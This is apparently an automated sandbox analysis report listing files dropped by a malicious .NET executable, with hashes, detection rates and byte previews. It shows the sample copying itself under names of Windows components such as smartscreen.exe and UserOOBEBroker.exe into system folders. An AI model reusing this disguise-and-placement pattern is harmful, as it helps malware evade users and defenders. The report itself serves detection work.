Preview:	hUvduJkBYyU3ythHv0OQx62mXHfyUp1nzjpuhXlEw4GgNDgwZJac872lcJFnnvrs6qEPDwjYPKe3zVZTltZLOZp1rDRYS8aAMXjh9RsnjCNyd8wGuvB3WgehAMiAeLGQtdrbw1UUBwlMM1YsRKog6gnq3BgwssIY56E9RVU2br2k4SVJxztUgjTM0AhuUhlSnMQPxZb50vFPoDvlqX839y1Wm1JQxjh3Fj6rBFVYYxdueEiwP6E6jsTzV4m5QLIQNLJEGDjkBkfMUH1iTWA0flUXQHWHcaINoMgS4epMWd58NHeNCEm3KSvm1wx9qcIlcRhIkjozqydBqVKImJEYyOCWb4aHqqg3VTg5jWndZwMWyt6fmoWhYtwNPLqqIhJARjqWyOjQfl8BBqir74fBU8flhTqYp6V2nMEODkrXFGBxuuLjm9tNBHpSEFzfiKkjPGYylUoWNH5N7s0wHGvpNH0fhvJ8vLy5fchoWX7SVW94McVVODYbY4VHP2R0KqlCS9sfKLZuJcU1I6TEaxtsxXgkGZZeFGIpu7lMtzKCnnS5kd9SiMZW63O5cHYvw4oCTpHLUHVknqEJElAmaG63qws0sqtmaZQt9Pm5Wy8b1ztPzF01GwVp8vVh6QcnXsKNaVKz9FQlIeB1DdBnz1foEluN3E9FVUDIofze5A2Bft

C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\2afe4ed40d5a86

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	253
Entropy (8bit):	5.74732776737678
Encrypted:	false
SSDEEP:	6:RPqCcS2gQsqafv1cwHtWq/oP4Gi4isrz8kHJ0kRX29e:djFLWwHtt/SfnPUkp0k5r
MD5:	0675EF42906D734228A5C1E642D6DA72
SHA1:	95D21AADABC6931CC81AF1DDBEBD74604A3866A8
SHA-256:	FE75D6C111D64810DB3EF1D0F1F765DA50274222E00031FAE42FB26C614B397D
SHA-512:	D4526522A496CA4673A588FBFA0E420BC4862D160BABF02FCABD5CDB86A31479098BF3840B099D8E49C9D9CBF5A8F005AF5BD987172A66BF51EE7141BAEF3E73
Malicious:	false
Preview:	4wdAB4ioTFctgtqGZOwcoCinL9Of9r5L9qUZFyptAhMZwZShzIphUpk2NzzCpDolKQtzYQBkiCbHzJ0vqqq1CY1TFbMP9mE72lPgpcIiHF8SOdCE9DW9WxjwYZu6Ewk58dOO4UGOhHu6ZjFmYHQ5QEkFCdHPsMdUeDTuPyKo7IbPDmWzUIh7goo32IMaN0fVnZcWPVWk7l7InVCZGR5kogyzYa1HmtbHmGloKAk8v7A4qgPhGwU545rHkm8yd

C:\ProgramData\smartscreen.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\smartscreen.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\4ed18479ee5d61

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with very long lines (992), with no line terminators
Category:	dropped
Size (bytes):	992
Entropy (8bit):	5.924959613328881
Encrypted:	false
SSDEEP:	24:lTS3BqHTAJzr7AwJYBioyr+w9cG6+aO1eegUyEv5Ja9IyLAjpTpI:AcHTAJnMyr5cGjmeg2Ja9I2AjPI
MD5:	E4153C9C57AC2C0A5AA4FB1C276FB87F
SHA1:	0E5666658879A81C179C3019835FBBE8E697F25A
SHA-256:	100F73BD31E9522FBDB183D130852224A653639C77A3DE5C5ED7EC6785288CE1
SHA-512:	B49267D34EC990DC3115DE29D275971614B2ABDF737CE6F4EF25D0414AA70A293D5A3B018CFCA594750EEB4542646661FB4A1107158C6745CD57815D8F4C5525
Malicious:	false
Preview:	YYC7aGNFLAcLXoZidmtMjXGu3fc6UlPWkYw5WY1Zy5cejPidSdixVbZASSD5nRujuFl91dMFvTXo5mKn69o1DcBI9vnDU5vhK2ueojlzRcCBDuFqIa9om3gSDc9G0Ivzi0dC1p8WXyjkZAFOq7536G4RVbaMkf8IrMcMQCycbnRyT62DWvZ3N13b5MraOvw10b2Mh27oIdcTzG7ZjX0yGF40TAREUYNp1Z72DpfexvuuZjmzPS0157vugC3gl3TuPwcZIFV41VAUUKatXbzChVu3oNVAw824b9enHNqJ669j6aaWmJIJEQN4Ciu5tUI2dF2UqxmKupGlVK6Nw9Ym0s0LwkljdvZmxHG1hFqyh8ZYKli2mgIu5fCuPriFMDq9PdxODFqrSjF1TbBLBt66mpqSEWm0hkmeSZJqyTyg0bcVZLaxqWDdGuWkweJqdzKs7lj4RUWs4aFLMV336yJKgJXhDj4TJHDAQtYxmgfWAVippKXblQuoqALxNB0saDiwWE5c6GQZTxKKks22Mcr2XYUQikjkpx66xwSkP4ffAUU30BMfJ8f7VpZ7uo4Vgpug1NXyZRmS7M2CEbahYDbrR8kIXU0l9J8UkyCmnYG1VNAJwW3SOX7dODP2mPbEbBSxNicPZy397jVD8bVBbhXlMfFgiJ9Y7CaU4M5O3o3Ze7gorL4L3an3orlsc5qPyeC4JBJvgHHwo7HO9ayXPyegZgpNkMv77nl94lfqCIowS0PqkWsBHTAAAgfnV5KTWKzAWHUY5IVGJsOiQ8nOdt0nmk9YF1UG8UaIAPUcCUF8740RR6XWR60mTLYvI5SExOIyRFiBoLLJn2pstrGIe8yBexzy1jUGCBKtwCAMYWsGur8bfpBazJjzZGUeQtJE0FGlr65rr3tIQrRxyXTLh3Q2cVTqrg6pMnQpkXtjuUt5Zbjsygp2a8h6yNJWnP9L7E6mbmNbotaMKVdAvl1L1DPNFT0WNX6eUh7V

C:\Recovery\RRVGfHJzvQMYfWe.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\RRVGfHJzvQMYfWe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\13ZNp2xvRU.exe.log

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.36827240602657
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpaqZ4x
MD5:	B28E0CCD25623D173B2EB29F3A99B9DD
SHA1:	070E4C4A7F903505259E41AFDF7873C31F90D591
SHA-256:	3A108902F93EF9E952D9E748207778718A2CBAEB0AB39C41BD37E9BB0B85BF3A
SHA-512:	17F5FBF18EE0058F928A4D7C53AA4B1191BA3110EDF8E853F145D720381FCEA650A3C997E3D56597150149771E14C529F1BDFDC4A2BBD3719336259C4DD8B342
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RRVGfHJzvQMYfWe.exe.log

Download File

Process:	C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Registry.exe.log

Download File

Process:	C:\Windows\twain_32\Registry.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\UserOOBEBroker.exe.log

Download File

Process:	C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontdrvhost.exe.log

Download File

Process:	C:\Windows\Panther\setup.exe\fontdrvhost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\smartscreen.exe.log

Download File

Process:	C:\ProgramData\smartscreen.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Windows\IME\IMETC\HELP\7ccfebd9e92364

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with very long lines (810), with no line terminators
Category:	dropped
Size (bytes):	810
Entropy (8bit):	5.910403815905239
Encrypted:	false
SSDEEP:	12:9SWpMJ+hS/gyArUXHiIAWH9re5bKpKHSjoZrTPXYKXod1ghEbiTcRItZ2x:9SWEg+SONe5bKpkS0ZrLoKXgghEGwa4
MD5:	E8CBE689578A7679FA0F2294317DE43E
SHA1:	DA3D26811EC8FC23728667BF84FE193B94BD3E41
SHA-256:	0EF04E275F6A37F290484F083A162D76D98F1A4D713B13A7BAD889972A5F4B4F
SHA-512:	296EF6F6E81843DE9C5590AB9EA69B2C80153C9294F55E10CA75228099EA6C61CD347FA69234845EE839E2814EEA6DC0522E03777E9D189E34E22E1142F0BBC8
Malicious:	false
Preview:	QJu9beuoUjgzkIm9DUHsbQh2NB2rnqoMqO063hGVl8zNo2bvS0RkbMWAl2wZlCBo5TJWRpFfNwHdaUNUkGZwYEve10UBuqti6LSUtEdmuwWpE3jRobzfnOQ0ioebVEugCjgPB3lgmwBmrGa8QDWT1O4s4bwEjCRpB0mfWUPvzS21MnJcOgKRsboyoxUjGh6keVk0d5l6xkdiWDfRSUzD2A7jLy0i9qoSWSX0DS8T4NeI8FblSDRwr3reYBooEC7H5KMEppN9VfIpfzkGWOQ6Y2kck2bBoTP1QXMy3X5mzSaLuC8jaiRzwAsDjtdxNLVCQQYInwN9TnGGbYsi42lFBZFPpIOJ4IZn7Y4dn06nVSgI3llLB52VkPA1LJdeiDFLOcJDeO4E67ut27VDhDI8PEDrYDSeWcFRNV3abhqwAyYmeQ8OxZ7f5G5KZbpa6ard2cfhD4m9WV7bpaMHEDr7ejVGZtBA2Q0kH5uCubK2x7JkIef8OiW2st9SHZHU3mGGeXTuqKWn3yKhav85OCvU371X5b4VT09L1CFvKuSDLt94ib1VaMF00vMgf6yOPAUCz9pYpMvdurIK87yekj4GuIUF0iQN6DyLY7FjwdqOamFJmCihHUoqFNRqpkhG6hhr37vB2PrG2qpICKcxAsGmYHFLpY3L5jS3FYQpRhp2mixYhJneHuGNb5Tv2jWeVfLTYwCo4xgdDN9zTqofuZELcEcKEewrLLgGXeAvG8kUNnKN5dcL50t6b90UT2kZAyS2r2cyq3Zwyt7z4POkBlwUbkpXnqbNYKUYVRgCAneBb6

C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\PLA\Templates\4ed18479ee5d61

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	261
Entropy (8bit):	5.75389976368227
Encrypted:	false
SSDEEP:	6:y6fzK9mPjFj3VFirt2GsSiRUJTgXd4LtakTO+X5A1/0J3E/GKfq:y6Lyk3VYrw7RGId4LtakTO+X5mS3E/Gx
MD5:	B04BDDE8107DBBE4513DBB1F512F8237
SHA1:	D8A83B806458124F16064C2811F42B6013B4CF5D
SHA-256:	10A753BDA93FEC548A865307F1FBE1D85974405068F70104D30E045B62ABDA9F
SHA-512:	4B86226FD5F1A6A8C3E35FDB43C4F633B65D852D5E98DCB9B0379C7122CE12D26EABBB4EF535130D6336FE19E7C4DA990404984EBF312AA7EB3FFDA9AA691151
Malicious:	false
